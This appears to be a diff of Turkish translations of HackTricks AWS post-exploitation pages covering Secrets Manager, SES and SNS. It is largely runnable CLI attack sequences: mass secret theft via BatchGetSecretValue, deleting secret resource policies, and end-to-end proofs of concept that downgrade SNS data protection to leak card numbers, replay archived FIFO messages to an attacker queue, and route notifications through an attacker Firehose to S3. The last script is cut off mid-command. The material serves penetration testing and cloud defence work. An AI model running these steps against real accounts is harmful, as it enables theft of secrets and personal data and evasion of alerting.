Bu eylem, bir secret'e kimlerin erişebileceğini kontrol eden resource policy'yi silmeye izin verir. Resource policy, erişimi belirli bir kullanıcı grubuna izin verecek şekilde yapılandırıldıysa bu bir DoS'a yol açabilir.
|
||||
|
||||
Resource policy'yi silmek için:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Bir secret'in durumları, secret sürümlerini yönetmek için kullanılır. AWSCURRENT uygulamaların kullandığı aktif sürümü işaretler, AWSPREVIOUS gerektiğinde geri dönebileceğiniz önceki sürümü saklar ve AWSPENDING yeni bir sürümü şu anki yapmadan önce hazırlamak ve doğrulamak için rotasyon sürecinde kullanılır.
|
||||
|
||||
Uygulamalar her zaman AWSCURRENT etiketine sahip sürümü okur. Birisi bu etiketi yanlış bir sürüme taşırsa, uygulamalar geçersiz kimlik bilgileri kullanır ve başarısız olabilir.
|
||||
|
||||
AWSPREVIOUS otomatik olarak kullanılmaz. Ancak AWSCURRENT kaldırılır veya yanlış atanırsa, her şeyin hâlâ önceki sürümle çalıştığı izlenimi oluşabilir.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
|
||||
|
||||
Secrets Manager BatchGetSecretValue API'sını suistimal ederek tek bir istekte en fazla 20 secret alabilirsiniz. Bu, her secret için GetSecretValue çağrısını tekrarlamaya kıyasla API çağrısı sayısını önemli ölçüde azaltır. Eğer filtreler kullanılıyorsa (tags/name), ListSecrets izni de gereklidir. CloudTrail yine de batch içinde alınan her secret için bir GetSecretValue olayı kaydeder.
|
||||
|
||||
Gerekli izinler
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- her hedef secret için secretsmanager:GetSecretValue
|
||||
- --filters kullanılıyorsa secretsmanager:ListSecrets
|
||||
- secret'lerde kullanılan CMK'ler üzerinde kms:Decrypt (aws/secretsmanager kullanılmıyorsa)
|
||||
|
||||
> [!WARNING]
|
||||
> `secretsmanager:BatchGetSecretValue` izninin secretleri almak için tek başına yeterli olmadığını unutmayın; almak istediğiniz her secret için ayrıca `secretsmanager:GetSecretValue` iznine ihtiyacınız vardır.
|
||||
|
||||
Exfiltrate by explicit list
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Filtrelere göre Exfiltrate (tag key/value veya name prefix)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-key,Values=env \
|
||||
--max-results 20 \
|
||||
--query 'SecretValues[].{Name:Name,Val:SecretString}'
|
||||
|
||||
# By tag value
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-value,Values=prod \
|
||||
--max-results 20
|
||||
|
||||
# By name prefix
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Kısmi başarısızlıkların ele alınması
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Etkiler
|
||||
- Daha az API çağrısıyla birçok sırın hızlı “smash-and-grab” ile alınması; bu, GetSecretValue dalgalanmalarına göre ayarlanmış uyarıları atlatabilir.
|
||||
- CloudTrail günlükleri, toplu işlemle alınan her sır için hâlâ bir GetSecretValue olayı içerir.
|
||||
+17
-13
@@ -1,18 +1,18 @@
|
||||
# AWS - SES Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SES
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ses-enum.md
|
||||
../../aws-services/aws-ses-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `ses:SendEmail`
|
||||
|
||||
Bir e-posta gönder.
|
||||
Bir e-posta gönderir.
|
||||
```bash
|
||||
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
@@ -21,13 +21,15 @@ Henüz test edilmedi.
|
||||
|
||||
### `ses:SendRawEmail`
|
||||
|
||||
Bir e-posta gönder.
|
||||
E-posta gönderir.
|
||||
```bash
|
||||
aws ses send-raw-email --raw-message file://message.json
|
||||
```
|
||||
Henüz test edilmedi.
|
||||
|
||||
### `ses:SendTemplatedEmail`
|
||||
|
||||
Bir şablona dayalı bir e-posta gönderin.
|
||||
Bir şablona dayalı e-posta gönder.
|
||||
```bash
|
||||
aws ses send-templated-email --source <value> --destination <value> --template <value>
|
||||
```
|
||||
@@ -35,31 +37,33 @@ Henüz test edilmedi.
|
||||
|
||||
### `ses:SendBulkTemplatedEmail`
|
||||
|
||||
Birden fazla hedefe e-posta gönderin.
|
||||
Bir e-postayı birden fazla hedefe gönder
|
||||
```bash
|
||||
aws ses send-bulk-templated-email --source <value> --template <value>
|
||||
```
|
||||
Hala test edilecek.
|
||||
Henüz test edilmedi.
|
||||
|
||||
### `ses:SendBulkEmail`
|
||||
|
||||
Birden fazla hedefe e-posta gönderin.
|
||||
Birden fazla hedefe e-posta gönderir.
|
||||
```
|
||||
aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
|
||||
```
|
||||
### `ses:SendBounce`
|
||||
|
||||
Bir **bounce email** gönderin, alınan bir e-posta üzerinden (e-postanın alınamadığını belirten). Bu yalnızca **e-postayı aldıktan sonra 24 saat içinde** yapılabilir.
|
||||
Alınan bir e-posta üzerinde **bounce e-postası** gönderir (e-postanın alınamadığını bildirir). Bu, e-postayı aldıktan sonra **en fazla 24 saat içinde** yapılabilir.
|
||||
```bash
|
||||
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
|
||||
```
|
||||
Henüz test edilmedi.
|
||||
|
||||
### `ses:SendCustomVerificationEmail`
|
||||
|
||||
Bu, özelleştirilmiş bir doğrulama e-postası gönderecektir. Şablon e-postasını oluşturmak için de izinlere ihtiyacınız olabilir.
|
||||
Bu, özelleştirilmiş bir doğrulama e-postası gönderir. Şablon e-postayı oluşturmak için ayrıca izinlere ihtiyaç duyabilirsiniz.
|
||||
```bash
|
||||
aws ses send-custom-verification-email --email-address <value> --template-name <value>
|
||||
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
|
||||
```
|
||||
Henüz test edilmedi.
|
||||
Henüz test edilmedi.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,68 +0,0 @@
|
||||
# AWS - SNS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Mesajları Kesintiye Uğratma
|
||||
|
||||
Bazı durumlarda, SNS konuları izlenen platformlara (e-postalar, slack mesajları...) mesaj göndermek için kullanılır. Bir saldırgan, buluttaki varlığını bildiren mesajların gönderilmesini engellerse, tespit edilmeden kalabilir.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
Bir saldırgan, tüm bir SNS konusunu silebilir, bu da mesaj kaybına neden olur ve konuyu kullanan uygulamaları etkiler.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
**Olası Etki**: Silinen konu için uygulamalarda mesaj kaybı ve hizmet kesintisi.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
Bir saldırgan, SNS konusuna kötü niyetli veya istenmeyen mesajlar gönderebilir, bu da veri bozulmasına, istenmeyen eylemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
**Olası Etki**: Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
Bir saldırgan, bir SNS konusunun özelliklerini değiştirebilir, bu da performansını, güvenliğini veya kullanılabilirliğini etkileyebilir.
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
**Olası Etki**: Yanlış yapılandırmalar, performansın düşmesine, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açabilir.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
Bir saldırgan, bir SNS konusuna abone olabilir veya aboneliğini iptal edebilir, bu da yetkisiz mesaj erişimi kazanmasına veya konuyu kullanan uygulamaların normal işleyişini bozmasına neden olabilir.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Potansiyel Etki**: Mesajlara yetkisiz erişim, etkilenen konuya bağlı uygulamalar için hizmet kesintisi.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim verebilir veya meşru kullanıcıların izinlerini iptal edebilir, bu da konuyu kullanan uygulamaların normal işleyişinde kesintilere neden olabilir.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesajların ifşası veya konu manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
Bir saldırgan, SNS kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak takibi ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
# AWS - SNS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Mesajları Engelleme
|
||||
|
||||
Bazı durumlarda, SNS topics, izlenen platformlara mesaj göndermek için kullanılır (e-postalar, slack mesajları...). Bir saldırgan, buluttaki varlığı hakkında uyarı veren mesajların gönderilmesini engellerse, tespit edilmeden kalabilir.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
Bir saldırgan bir SNS topic'ini tamamen silebilir; bu, mesaj kaybına yol açar ve topic'e bağlı uygulamaları etkiler.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
**Olası Etki**: Silinmiş topic'i kullanan uygulamalar için mesaj kaybı ve hizmet kesintisi.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
Bir saldırgan, SNS topic'e kötü niyetli veya istenmeyen mesajlar gönderebilir; bu, veri bozulmasına, istem dışı eylemlerin tetiklenmesine veya kaynakların tükenmesine yol açabilir.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
**Potansiyel Etki**: Veri bozulması, istenmeyen işlemler veya kaynak tükenmesi.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
Bir saldırgan, bir SNS konusunun özelliklerini değiştirebilir; bu da potansiyel olarak performansını, güvenliğini veya kullanılabilirliğini etkileyebilir.
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
**Potential Impact**: Yanlış yapılandırmaların performans düşüşüne, güvenlik sorunlarına veya erişilebilirlik azalmasına yol açması.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
Bir saldırgan bir SNS topic'e abone olabilir veya aboneliği iptal edebilir; bu, mesajlara yetkisiz erişim sağlanmasına veya topic'e bağlı uygulamaların normal işleyişinin bozulmasına yol açabilir.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Olası Etki**: Mesajlara yetkisiz erişim, etkilenen SNS konusuna bağlı uygulamalar için hizmet kesintisi.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
Bir saldırgan, yetkisiz kullanıcılar veya servisler için bir SNS konusuna erişim verebilir veya meşru kullanıcıların izinlerini kaldırabilir; bu da konuya bağlı uygulamaların normal işleyişinde kesintilere neden olabilir.
|
||||
```bash
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Potansiyel Etki**: topic'e yetkisiz erişim, mesajların ifşa olması veya yetkisiz kullanıcılar/servisler tarafından topic'in manipüle edilmesi; topic'e bağımlı uygulamaların normal işleyişinin bozulması.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
Bir saldırgan SNS kaynaklarına etiket ekleyebilir, değiştirebilir veya kaldırabilir; bu durum kuruluşunuzun maliyet tahsisini, kaynak takibini ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması.
|
||||
|
||||
### Daha fazla SNS Post-Exploitation Teknikleri
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-data-protection-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-fifo-replay-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-firehose-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+92
@@ -0,0 +1,92 @@
|
||||
# AWS - SNS Message Data Protection Bypass via Policy Downgrade
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Eğer bir topic üzerinde `sns:PutDataProtectionPolicy` izniniz varsa, Message Data Protection politikasını Deidentify/Deny'den Audit-only'a (veya Outbound kontrollerini kaldırarak) değiştirebilir ve böylece hassas değerler (ör. kredi kartı numaraları) aboneliğinize değiştirilmeden teslim edilir.
|
||||
|
||||
## Gereksinimler
|
||||
- Hedef topic üzerinde `sns:PutDataProtectionPolicy` çağırma izni (ve veriyi almak istiyorsanız genelde `sns:Subscribe`).
|
||||
- Standard SNS topic (Message Data Protection destekli).
|
||||
|
||||
## Saldırı Adımları
|
||||
|
||||
- Değişkenler
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
```
|
||||
|
||||
1) Bir standard topic ve bir saldırgan SQS kuyruğu oluşturun ve sadece bu topic'in kuyruğa göndermesine izin verin
|
||||
|
||||
```bash
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
|
||||
```
|
||||
|
||||
2) Outbound mesajlarda kredi kartı numaralarını maskeleyen bir data protection policy iliştirin
|
||||
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-policy.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "MaskCCOutbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Outbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
|
||||
```
|
||||
|
||||
3) Saldırgan kuyruğunu subscribe edin ve test bir CC numarası ile mesaj yayınlayın, maskeleme olduğunu doğrulayın
|
||||
|
||||
```bash
|
||||
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
|
||||
Beklenen çıktı maskeleme gösterir (hash'ler):
|
||||
```json
|
||||
"Message" : "payment:{cc:################}"
|
||||
```
|
||||
4) Politikayı audit-only moduna düşürün (Outbound'ı etkileyen deidentify/deny ifadeleri olmasın)
|
||||
|
||||
SNS için Audit ifadeleri Inbound olmalıdır. Politikayı Audit-only Inbound ifadesi ile değiştirmek, herhangi bir Outbound de-identification'ı kaldırır; böylece mesajlar aboneye değiştirilmeden iletilir.
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "AuditInbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Inbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
|
||||
```
|
||||
|
||||
5) Aynı mesajı publish edin ve maskelenmemiş değerin teslim edildiğini doğrulayın
|
||||
```bash
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
Beklenen alıntı açık metin CC'yi gösterir:
|
||||
```text
|
||||
4539894458086459
|
||||
```
|
||||
## Etki
|
||||
- Bir topic'i de-identification/deny'den audit-only'e geçirmek (veya Outbound kontrollerini başka şekilde kaldırmak), PII/secrets'in değişmeden saldırgan kontrolündeki aboneliklere geçmesine izin verir; bu da aksi takdirde maskelenecek veya engellenecek data exfiltration'a olanak sağlar.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+100
@@ -0,0 +1,100 @@
|
||||
# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Amazon SNS FIFO konu mesaj arşivlemesinin kötüye kullanılarak, aboneliğin ReplayPolicy'si ayarlanıp saldırgan kontrollü SQS FIFO kuyruğuna daha önce yayımlanmış mesajların yeniden oynatılması ve exfiltrate edilmesi.
|
||||
|
||||
- Servis: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
|
||||
- Gereksinimler: Konunun ArchivePolicy etkin olmalı (mesaj arşivleme). Saldırgan konuya Subscribe olabilmeli ve aboneliği üzerinde attribute ayarlayabilmeli. Saldırgan bir SQS FIFO kuyruğuna sahip olmalı ve konuya mesaj göndermesine izin veren bir kuyruk politikası ekleyebilmeli.
|
||||
- Impact: Tarihsel mesajlar (abonelikten önce publish edilmiş olanlar) saldırgan endpointine teslim edilebilir. Yeniden oynatılan teslimatlar SNS zarfında Replayed=true ile işaretlenir.
|
||||
|
||||
## Ön Koşullar
|
||||
- ArchivePolicy etkin bir SNS FIFO konusu: `ArchivePolicy` (ör. `{ "MessageRetentionPeriod": "2" }` için 2 gün).
|
||||
- Saldırganın izinleri:
|
||||
- `sns:Subscribe` hedef konu üzerinde.
|
||||
- `sns:SetSubscriptionAttributes` oluşturulan abonelik üzerinde.
|
||||
- Saldırgan bir SQS FIFO kuyruğuna sahip olmalı ve konu ARN'sinden `sns:SendMessage` izni veren bir kuyruk politikası ekleyebilmeli.
|
||||
|
||||
## Minimum IAM permissions
|
||||
- Konu üzerinde: `sns:Subscribe`.
|
||||
- Abonelik üzerinde: `sns:SetSubscriptionAttributes`.
|
||||
- Kuyruk üzerinde: politika için `sqs:SetQueueAttributes` ve kuyruk politikası ile konu ARN'sinden `sns:SendMessage` izinlendirmesi.
|
||||
|
||||
## Attack: Replay archived messages to attacker SQS FIFO
|
||||
Saldırgan, SQS FIFO kuyruğunu hedef SNS FIFO konusuna subscribe eder, sonra abonelik için `ReplayPolicy`'yi arşiv saklama penceresi içindeki geçmiş bir zamana ayarlar. SNS, yeni aboneliğe uyan arşivlenmiş mesajları hemen yeniden oynatır ve bunları `Replayed=true` ile işaretler.
|
||||
|
||||
Notlar:
|
||||
- `ReplayPolicy`'de kullanılan zaman damgası, konunun `BeginningArchiveTime`'ından >= olmalıdır. Daha önce ise API `Invalid StartingPoint value` döner.
|
||||
- SNS FIFO için `Publish` yaparken bir `MessageGroupId` belirtmelisiniz (veya dedup ID ya da `ContentBasedDeduplication` etkinleştirilmiş olmalı).
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI POC (us-east-1)</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
|
||||
TS_START=$(python3 - << 'PY'
|
||||
from datetime import datetime, timezone, timedelta
|
||||
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
|
||||
PY
|
||||
)
|
||||
|
||||
# 1) Create SNS FIFO topic with archiving (2-day retention)
|
||||
TOPIC_NAME=htreplay$(date +%s).fifo
|
||||
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
|
||||
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
|
||||
--query TopicArn --output text)
|
||||
|
||||
echo "Topic: $TOPIC_ARN"
|
||||
|
||||
# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
|
||||
for i in $(seq 1 3); do
|
||||
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
|
||||
--message-group-id g1 >/dev/null
|
||||
done
|
||||
|
||||
# 3) Create attacker SQS FIFO queue and allow only this topic to send
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
|
||||
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
|
||||
--attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
cat > /tmp/ht-replay-sqs-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
# Use CLI input JSON to avoid quoting issues
|
||||
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
|
||||
import json, os
|
||||
print(json.dumps({
|
||||
'QueueUrl': os.environ['Q_URL'],
|
||||
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
|
||||
}))
|
||||
PY
|
||||
)"
|
||||
|
||||
# 4) Subscribe the queue to the topic
|
||||
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
|
||||
echo "Subscription: $SUB_ARN"
|
||||
|
||||
# 5) Ensure StartingPoint is >= BeginningArchiveTime
|
||||
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
|
||||
START=${TS_START}
|
||||
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
|
||||
|
||||
aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
|
||||
--attribute-name ReplayPolicy \
|
||||
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
|
||||
|
||||
# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 10 \
|
||||
--message-attribute-names All --attribute-names All
|
||||
```
|
||||
</details>
|
||||
|
||||
## Etki
|
||||
**Potansiyel Etki**: Arşivleme etkinleştirilmiş bir SNS FIFO topic'e subscribe olabilen ve subscription'ına `ReplayPolicy` uygulayabilen bir attacker, sadece subscription oluşturulduktan sonra gönderilenler değil, o topic'e daha önce publish edilmiş geçmiş mesajları hemen replay edip exfiltrate edebilir. Teslim edilen mesajların SNS zarfında `Replayed=true` bayrağı bulunur.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+76
@@ -0,0 +1,76 @@
|
||||
# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Firehose subscription protocol'ünü kötüye kullanarak hedef bir SNS standard topic üzerine saldırgan tarafından kontrol edilen bir Kinesis Data Firehose delivery stream kaydedin. Abonelik kurulduktan ve gerekli IAM rolü `sns.amazonaws.com`'a güven verdikten sonra, gelecekteki her bildirim minimum gürültüyle kalıcı olarak saldırganın S3 bucket'ına yazılır.
|
||||
|
||||
## Requirements
|
||||
- Saldırgan hesabında bir S3 bucket, Firehose delivery stream ve Firehose tarafından kullanılan IAM rolünü oluşturmak için izinler (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, vb.).
|
||||
- Hedef topic'e `sns:Subscribe` yapabilme yeteneği (ve abonelik rol ARN'si oluşturulduktan sonra sağlanıyorsa isteğe bağlı olarak `sns:SetSubscriptionAttributes`).
|
||||
- Saldırgan principal'in subscribe yapmasına izin veren bir topic policy (veya saldırgan zaten aynı hesap içinde çalışıyor olabilir).
|
||||
|
||||
## Attack Steps (same-account example)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SUFFIX=$(date +%s)
|
||||
|
||||
# 1) Create attacker S3 bucket and Firehose delivery stream
|
||||
ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
|
||||
aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
|
||||
|
||||
STREAM_NAME=ht-firehose-stream-$SUFFIX
|
||||
FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
|
||||
|
||||
# Role Firehose assumes to write into the bucket
|
||||
aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/firehose-s3-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
|
||||
|
||||
aws firehose create-delivery-stream \
|
||||
--delivery-stream-name "$STREAM_NAME" \
|
||||
